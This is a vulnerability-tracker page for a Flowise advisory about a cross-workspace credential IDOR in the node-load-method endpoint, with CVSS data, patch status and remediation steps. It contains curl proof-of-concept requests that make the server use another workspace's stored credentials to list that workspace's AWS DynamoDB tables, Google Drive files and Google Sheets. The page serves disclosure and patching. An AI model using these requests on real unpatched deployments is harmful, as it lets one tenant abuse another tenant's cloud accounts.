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Advisory · GitHub · npm · flowise

GHSA-HQVM-7539-V83J

Cross-workspace credential IDOR in node-load-method allows low-privilege users to enumerate victim third-party resources

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CVSS 4.0
6.1
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CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -30 d de la divulgación
Exposición83 dDesde la divulgación, 28 ago 2026, 9:09 a. m.
Detección82 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 3.1.4
Monitoreo
Detectada +1
29 jul 26
28 ago 26
18 nov 26
20 nov 26
29 jul 26
26 ago 26
24 sept 26
22 oct 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.1.4 flowise · -30 d desde divulgación
Divulgación Publicada GHSA-HQVM-7539-V83J divulgada · CVSS 6.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`POST /api/v1/node-load-method/:name` allows an authenticated low-privilege user to invoke component `loadMethods` with attacker-controlled `nodeName`, `loadMethod`, `inputs`, and `credential` values.

The endpoint is mounted as a normal API route and has no route-level permission check. More importantly, the credential selected by the caller is not verified against the caller's active workspace or shared-workspace permissions before being used by component load methods.

Several load methods call `getCredentialData(nodeData.credential, options)`, which resolves credentials by raw `Credential.id` and decrypts the credential without enforcing `Credential.workspaceId`.

As a result, a low-privilege user or workspace API key in Workspace A can supply a Credential ID owned by Workspace B and make Flowise perform third-party provider calls with Workspace B's credential. This lets Flowise act as a confused deputy and return third-party provider metadata to the attacker.

Tested commit:

`8842d52ea23a08819f63f88ac02983dfd2cb7851`

Suggested severity:

`High`

Suggested CVSS v3.1:

`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N`

Suggested CWE:

  • CWE-639: Authorization Bypass Through User-Controlled Key
  • CWE-862: Missing Authorization
Details

Affected route and call chain:

  • `packages/server/src/routes/index.ts`
  • mounts `/node-load-method` as a normal API route.
  • `packages/server/src/routes/node-load-methods/index.ts`
  • `POST /api/v1/node-load-method/:name` has no `checkPermission` or credential-scoping middleware.
  • `packages/server/src/controllers/nodes/index.ts`
  • copies the attacker-controlled request body into `body`;
  • adds `body.searchOptions = getWorkspaceSearchOptionsFromReq(req)`;
  • passes the body to `nodesService.getSingleNodeAsyncOptions`.
  • `packages/server/src/services/nodes/index.ts`
  • resolves `componentNodes[nodeName]`;
  • invokes `nodeInstance.loadMethods[methodName]` with attacker-controlled `nodeData`;
  • passes `searchOptions`, but generic credential helpers do not enforce it.
  • `packages/components/src/utils.ts`
  • `getCredentialData(selectedCredentialId, options)` resolves credentials by `Credential.findOneBy({ id })` and decrypts the credential.
  • `packages/server/src/services/credentials/index.ts`
  • normal credential read paths are workspace-scoped through `{ id, workspaceId }` or `getWorkspaceSearchOptions(workspaceId)`, showing the intended authorization boundary.

Statically identified affected load methods include:

  • Google Drive `listFiles`
  • Google Sheets `listSpreadsheets`
  • AWS DynamoDB KV Storage `listTables`

The issue is not that the raw credential secret is returned. The issue is that Flowise uses a credential belonging to another workspace server-side and returns provider metadata to the attacker.

The Credential ID is an object reference, not an authorization grant. Possession of a credential UUID should not allow a user in Workspace A to use Workspace B's Google or AWS account through Flowise.

PoC
Prerequisites
  • Workspace A: attacker workspace.
  • Workspace B: victim workspace.
  • The attacker has a low-privilege Workspace A API key.
  • The Workspace A key does not have `credentials:view`, `credentials:create`, `credentials:update`, admin, or connector-management permissions.
  • Workspace B owns a provider credential that is not shared with Workspace A.
  • The victim provider account contains a harmless deterministic test resource, for example:
  • AWS DynamoDB table: `victim_poc_orders` in `us-east-1`;
  • Google Drive file: `victim-poc-private-doc`;
  • Google Sheets spreadsheet: `victim-poc-private-sheet`.
Negative control: attacker cannot read the victim credential through the normal credential API
curl -i "$BASE/api/v1/credentials/$VICTIM_CREDENTIAL_ID" \
  -H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY"

Expected result:

HTTP/1.1 403 Forbidden

If database access is available, the following evidence can also be captured:

select id, credentialName, workspaceId
from credential
where id = '<victimCredentialId>';

select *
from workspace_shared
where sharedItemId = '<victimCredentialId>'
  and itemType = 'credential';

Expected evidence:

  • `credential.workspaceId = <workspaceB>`;
  • no `workspace_shared` row grants the credential to Workspace A.
Positive control A: AWS DynamoDB table enumeration using the victim credential
curl -i -X POST "$BASE/api/v1/node-load-method/awsDynamoDBKVStorage" \
  -H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
  -H "Content-Type: application/json" \
  --data '{
    "loadMethod": "listTables",
    "credential": "'"$VICTIM_AWS_CREDENTIAL_ID"'",
    "inputs": {
      "region": "us-east-1"
    }
  }'

Vulnerable result:

[
  {
    "label": "victim_poc_orders",
    "name": "victim_poc_orders",
    "description": "Table with pk (partition) and sk (sort) keys"
  }
]

Provider-side evidence, when available:

  • CloudTrail shows `ListTables` and `DescribeTable` events.
  • The identity is the victim Workspace B IAM user or assumed role.
  • If `roleArn` is used, Flowise may generate an STS session name such as `FlowiseSession-<timestamp>`.
Positive control B: Google Drive file enumeration using the victim credential
curl -i -X POST "$BASE/api/v1/node-load-method/googleDrive" \
  -H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
  -H "Content-Type: application/json" \
  --data '{
    "loadMethod": "listFiles",
    "credential": "'"$VICTIM_GOOGLE_DRIVE_CREDENTIAL_ID"'",
    "inputs": {
      "maxFiles": 100,
      "includeSharedDrives": true,
      "fileTypes": ["application/vnd.google-apps.document", "application/pdf", "text/plain"]
    }
  }'

Vulnerable result:

[
  {
    "name": "google-drive-file-id",
    "label": "victim-poc-private-doc",
    "description": "Type: Google Doc (My Drive) | Modified: ..."
  }
]
Positive control C: Google Sheets enumeration using the victim credential
curl -i -X POST "$BASE/api/v1/node-load-method/googleSheets" \
  -H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
  -H "Content-Type: application/json" \
  --data '{
    "loadMethod": "listSpreadsheets",
    "credential": "'"$VICTIM_GOOGLE_SHEETS_CREDENTIAL_ID"'",
    "inputs": {}
  }'

Vulnerable result:

[
  {
    "name": "google-sheet-file-id",
    "label": "victim-poc-private-sheet",
    "description": "Modified: ..."
  }
]

For Google proofs, use a non-expired access token if possible so the main evidence does not depend on the OAuth refresh route. If the stored token is expired, Flowise can still refresh it server-side, but the core issue remains the unscoped credential lookup and provider call through `node-load-method`.

Impact

A low-privilege authenticated user can use Flowise as a confused deputy against third-party accounts configured in another workspace.

The attacker can:

  • enumerate victim Google Drive file IDs, file names, MIME categories, and modified timestamps;
  • enumerate victim Google Sheets spreadsheet IDs and names;
  • enumerate victim AWS DynamoDB table names and compatible key schema metadata;
  • trigger OAuth refresh or AWS STS AssumeRole flows through credentials outside the attacker's workspace;
  • consume provider API quota;
  • create provider-side audit events under the victim credential.

This crosses both a Flowise workspace boundary and an external provider account boundary. The attacker does not need access to the raw credential secret; server-side use of the victim credential is the impact.

Why this is not a duplicate of the public Agentflow OAuth refresh issue

This does not require `/api/v1/oauth2-credential/refresh` to return token material, and it does not depend on public Agentflow metadata leaking a credential ID.

The vulnerable primitive is the generic `node-load-method` dispatcher combined with globally resolved credential IDs. The exploit result is server-side use of a foreign credential to enumerate third-party provider resources.

Suggested remediation
  • Add an explicit permission gate to `POST /api/v1/node-load-method/:name`.
  • Before invoking any load method, collect credential IDs from `nodeData.credential` and nested config fields and verify they belong to `req.user.activeWorkspaceId` or are explicitly shared with that workspace.
  • Replace generic `getCredentialData(id)` in server-invoked load methods with a workspace-aware resolver.
  • Make workspace context mandatory for credential resolution.
  • Add regression tests:
  • Workspace A can call `node-load-method` with a Workspace A credential.
  • Workspace A cannot call `node-load-method` with a Workspace B credential.
  • Workspace A can call `node-load-method` only if Workspace B explicitly shared that credential.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:P
NingunoPresentes
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:L
AltoBajoNinguno
Disponib. (sistema)VA:L
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flowise≤ 3.1.3
3.1.3
3.1.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmflowise
Corregida 3.1.4 -30 d 3.1.4 no afectada
Versiones corregidas3.1.4
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hqvm-7539-v83j

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.